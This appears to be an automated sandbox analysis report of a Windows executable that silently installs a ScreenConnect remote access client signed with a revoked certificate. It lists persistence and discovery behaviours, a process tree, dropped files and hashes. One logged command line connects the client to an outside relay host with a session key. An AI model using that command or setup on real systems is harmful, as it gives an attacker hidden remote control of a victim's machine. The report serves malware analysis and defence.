Analysis

  • max time kernel
    148s
  • max time network
    136s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    14/08/2026, 09:14

General

  • Target
    fb11ac17d2ecf61b5aade87ec2d33c652295bda24056bc9f3a08e701d1021433.exe
  • Size 5.5MB
  • Sample260814-k7lppagg79
  • SHA256 fb11ac17d2ecf61b5aade87ec2d33c652295bda24056bc9f3a08e701d1021433
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 5 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 27 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 17 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\fb11ac17d2ecf61b5aade87ec2d33c652295bda24056bc9f3a08e701d1021433.exe
    "C:\Users\Admin\AppData\Local\Temp\fb11ac17d2ecf61b5aade87ec2d33c652295bda24056bc9f3a08e701d1021433.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3200
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.2.4.9229\7ae58b0f669222fc\ScreenConnect.ClientSetup.msi"
      2⤵
      • Enumerates connected drives
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      PID:3148
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:444
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding D49143FEE9BE05F390DFF77C53346905 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4868
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI2C08.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240725203 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:4896
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:920
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding C8E8BF1047C04377AE17E840651A41F3
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:3792
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 69A936A0819C4A39DD2AAC358AD27EFE E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:2360
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:4900
    • C:\Program Files (x86)\ScreenConnect Client (7ae58b0f669222fc)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (7ae58b0f669222fc)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=qwubtam2.anondns.net&p=8041&s=6d49fc46-4fb0-4f39-bec9-bdd3dcba1a87&k=BgIAAACkAABSU0ExAAgAAAEAAQBp%2fcKMfWZPJfEs7otHaryTsRkHQQN3oPUlzPYtfAUWj5w1uOqHKpCOdxZzzCwFyUzcQisbtPWNMoHkCU7Pbb2nT1eJFMpPZMt3mhNZfzPw6AG1%2bCiEsDSMW7Nh7kzt5DDbcZfOOBybMneagkXe%2ffnLAd3mcDSCwvHgoOPVotdKkjqTNTaAOz7%2bFVErGTB13AkXS5NNGIHPkZ%2fJ1Mdhh4HcAfSAtRFcEEMc0egPoigVzElsO%2f2gbLSzdjcU7886nEds0RruGDF5bvZ8%2b6%2b2W3sR4GoT3LyXEQVyIRYi0btN0Z9YaSplrtYDYUKGfjoZFyEjCT19hPa3Sg3DFRc%2bp4C3"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:756
      • C:\Program Files (x86)\ScreenConnect Client (7ae58b0f669222fc)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (7ae58b0f669222fc)\ScreenConnect.WindowsClient.exe" "RunRole" "b40ddf8d-3b5d-4f07-9026-172de8d0765e" "User"
        2⤵
        • Executes dropped EXE
        PID:2164
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k GPSvcGroup
      1⤵
        PID:2132

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            e5980b0.rbs

            • Path C:\Config.Msi\e5980b0.rbs
            • Size 214KB
            • SHA256 db54fd8e0aa8bdd0089ff14a7725f2f5efe63d7ea8c862dfe55524fc08671cfa
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Client.Override.en-US.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (7ae58b0f669222fc)\Client.Override.en-US.resources
            • Size 334B
            • SHA256 b363e14107e1694b7238490bd13ef9d2adb0214dcabd036ae5c017c2ffd0a1d3
            • MD5 SHA1 SHA512 TLSH

            Client.Override.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (7ae58b0f669222fc)\Client.Override.resources
            • Size 113KB
            • SHA256 820a1e788ee0fc4b7c68d753f4c7b7ab88dfb50b386f802be7481e2ed96be167
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Client.en-US.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (7ae58b0f669222fc)\Client.en-US.resources
            • Size 48KB
            • SHA256 07d04e6d5376ffc8d81afe8132e0aa6529cccc5ee789bea53d56c1a2da062be4
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Client.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (7ae58b0f669222fc)\Client.resources
            • Size 26KB
            • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Client.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (7ae58b0f669222fc)\ScreenConnect.Client.dll
            • Size 192KB
            • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.ClientService.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (7ae58b0f669222fc)\ScreenConnect.ClientService.dll
            • Size 66KB
            • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.ClientService.exe

            • Path C:\Program Files (x86)\ScreenConnect Client (7ae58b0f669222fc)\ScreenConnect.ClientService.exe
            • Size 93KB
            • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsAuthenticationPackage.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (7ae58b0f669222fc)\ScreenConnect.WindowsAuthenticationPackage.dll
            • Size 254KB
            • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsClient.exe

            • Path C:\Program Files (x86)\ScreenConnect Client (7ae58b0f669222fc)\ScreenConnect.WindowsClient.exe
            • Size 593KB
            • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsClient.exe.config

            • Path C:\Program Files (x86)\ScreenConnect Client (7ae58b0f669222fc)\ScreenConnect.WindowsClient.exe.config
            • Size 266B
            • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
            • MD5 SHA1 SHA512 TLSH

            ScreenConnect.WindowsCredentialProvider.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (7ae58b0f669222fc)\ScreenConnect.WindowsCredentialProvider.dll
            • Size 837KB
            • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
            • MD5 SHA1 SHA512 SSDEEP TLSH

            app.config

            • Path C:\Program Files (x86)\ScreenConnect Client (7ae58b0f669222fc)\app.config
            • Size 2KB
            • SHA256 e2951e02c7bfadd80f355e7c01120a1bbaca92170f941d3783bea0937c8a4d1c
            • MD5 SHA1 SHA512 TLSH

            system.config

            • Path C:\Program Files (x86)\ScreenConnect Client (7ae58b0f669222fc)\system.config
            • Size 944B
            • SHA256 31aa451b09e0985349c732b6a6543c6fe19fc181fdad6a3e3354a6b0a705b538
            • MD5 SHA1 SHA512 TLSH

            MSI2C08.tmp

            • Path C:\Users\Admin\AppData\Local\Temp\MSI2C08.tmp
            • Size 1.0MB
            • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Microsoft.Deployment.WindowsInstaller.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI2C08.tmp-\Microsoft.Deployment.WindowsInstaller.dll
            • Size 172KB
            • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Core.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI2C08.tmp-\ScreenConnect.Core.dll
            • Size 538KB
            • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.InstallerActions.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI2C08.tmp-\ScreenConnect.InstallerActions.dll
            • Size 11KB
            • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Windows.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI2C08.tmp-\ScreenConnect.Windows.dll
            • Size 1.6MB
            • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.ClientSetup.msi

            • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.2.4.9229\7ae58b0f669222fc\ScreenConnect.ClientSetup.msi
            • Size 13.2MB
            • SHA256 798659e56ab727ba7154e5f4abf8bd3d4c301ad4afbcb0758d0d4c1741bd20a4
            • MD5 SHA1 SHA512 SSDEEP TLSH

            MSI88DE.tmp

            • Path C:\Windows\Installer\MSI88DE.tmp
            • Size 202KB
            • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
            • MD5 SHA1 SHA512 SSDEEP TLSH

            3odskwjj.newcfg

            • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (7ae58b0f669222fc)\3odskwjj.newcfg
            • Size 569B
            • SHA256 8fb275585222bffd135e5a2b4a8de7780315a83643cb3b93775d5c3e7ce8cbb6
            • MD5 SHA1 SHA512 TLSH

            aiqjjal0.newcfg

            • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (7ae58b0f669222fc)\aiqjjal0.newcfg
            • Size 569B
            • SHA256 4ea2ed4afa63030b6d962401d9097bc5722a19fe59c1a8413b6c3b8ac68ec55c
            • MD5 SHA1 SHA512 TLSH

            ebewonlp.newcfg

            • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (7ae58b0f669222fc)\ebewonlp.newcfg
            • Size 569B
            • SHA256 db0d665dbea99278c7ff6f779ef1bd80a4792479ca2d37dfbe8e2fcaf1b5e063
            • MD5 SHA1 SHA512 TLSH

            iavtzzrm.newcfg

            • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (7ae58b0f669222fc)\iavtzzrm.newcfg
            • Size 569B
            • SHA256 b589c77d7a41939cfd5ea1a4bd1d229a284939bf6f789e04fb7b3d0f0a1a471f
            • MD5 SHA1 SHA512 TLSH

            lf05fdwh.newcfg

            • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (7ae58b0f669222fc)\lf05fdwh.newcfg
            • Size 569B
            • SHA256 2b8333d4f9cd67bfe464b0c89b4d3f995308e638b56699a61c3443d636e46f52
            • MD5 SHA1 SHA512 TLSH

            pa1qfyto.newcfg

            • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (7ae58b0f669222fc)\pa1qfyto.newcfg
            • Size 569B
            • SHA256 0cb296e37bee453075baa080a0a11f1a988cca66f73371bfefae3dfa974ef9ab
            • MD5 SHA1 SHA512 TLSH

            user.config

            • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (7ae58b0f669222fc)\user.config
            • Size 569B
            • SHA256 a6e8acc6785a1559b35142189e66e71c344fafb1abc489eea2cc7e438fabed69
            • MD5 SHA1 SHA512 TLSH

            user.config

            • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (7ae58b0f669222fc)\user.config
            • Size 569B
            • SHA256 0483d3a50ee74a71c977bb86a58e319b621e7e928ba1eaf2ddf95dc903536c34
            • MD5 SHA1 SHA512 TLSH

            wlc3lf05.newcfg

            • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (7ae58b0f669222fc)\wlc3lf05.newcfg
            • Size 569B
            • SHA256 3fa3a70771f66b7b314130cd895d57e31c7c1222ddd164fde7c182eb2c001ae6
            • MD5 SHA1 SHA512 TLSH

            metadata-2

            • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
            • Size 26.1MB
            • SHA256 41a566e643be50705557d2a02d15d7266423c873bac1255aa1147b8957d8c8a8
            • MD5 SHA1 SHA512 SSDEEP TLSH

            {32ae7f11-4f11-49c2-a28d-3c92cd5d76ac}_OnDiskSnapshotProp

            • Path \??\Volume{cb1876cb-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{32ae7f11-4f11-49c2-a28d-3c92cd5d76ac}_OnDiskSnapshotProp
            • Size 6KB
            • SHA256 2340e1e0b0dd1ed3c48faa2d453a2b996171a75ed37505e67fb5ca2dcb71205e
            • MD5 SHA1 SHA512 SSDEEP TLSH

            memory/756-109-0x00000000044B0000-0x00000000044E6000-memory.dmp

            memory/756-114-0x00000000047A0000-0x0000000004832000-memory.dmp

            memory/756-118-0x0000000004990000-0x0000000004A65000-memory.dmp

            memory/756-116-0x00000000044F0000-0x0000000004531000-memory.dmp

            memory/756-103-0x0000000004460000-0x00000000044B0000-memory.dmp

            memory/756-88-0x0000000001D90000-0x0000000001DA8000-memory.dmp

            memory/2164-134-0x0000000002230000-0x0000000002248000-memory.dmp

            memory/2164-135-0x00000000022B0000-0x00000000022C8000-memory.dmp

            memory/2164-133-0x000000001C060000-0x000000001C1E8000-memory.dmp

            memory/2164-129-0x0000000000040000-0x00000000000D8000-memory.dmp

            memory/2164-130-0x0000000002270000-0x00000000022A6000-memory.dmp

            memory/2164-132-0x000000001B290000-0x000000001B43C000-memory.dmp

            memory/2164-131-0x000000001B050000-0x000000001B0DC000-memory.dmp

            memory/3200-9-0x0000000074480000-0x0000000074C3C000-memory.dmp

            memory/3200-8-0x00000000069B0000-0x0000000006F6A000-memory.dmp

            memory/3200-3-0x0000000074480000-0x0000000074C3C000-memory.dmp

            memory/3200-0-0x0000000074492000-0x0000000074493000-memory.dmp

            memory/3200-4-0x0000000003890000-0x000000000391C000-memory.dmp

            memory/3200-5-0x0000000005D80000-0x0000000005DA2000-memory.dmp

            memory/3200-2-0x0000000006100000-0x00000000063F2000-memory.dmp

            memory/3200-6-0x0000000005E10000-0x0000000005FBC000-memory.dmp

            memory/3200-1-0x0000000001D90000-0x0000000001D98000-memory.dmp

            memory/3200-7-0x0000000074480000-0x0000000074C3C000-memory.dmp

            memory/3200-10-0x0000000074480000-0x0000000074C3C000-memory.dmp

            memory/3200-12-0x0000000074480000-0x0000000074C3C000-memory.dmp

            memory/4896-32-0x00000000039D0000-0x00000000039FE000-memory.dmp

            memory/4896-36-0x00000000039A0000-0x00000000039AA000-memory.dmp

            memory/4896-44-0x0000000005D50000-0x0000000005EFC000-memory.dmp

            memory/4896-40-0x0000000003A90000-0x0000000003B1C000-memory.dmp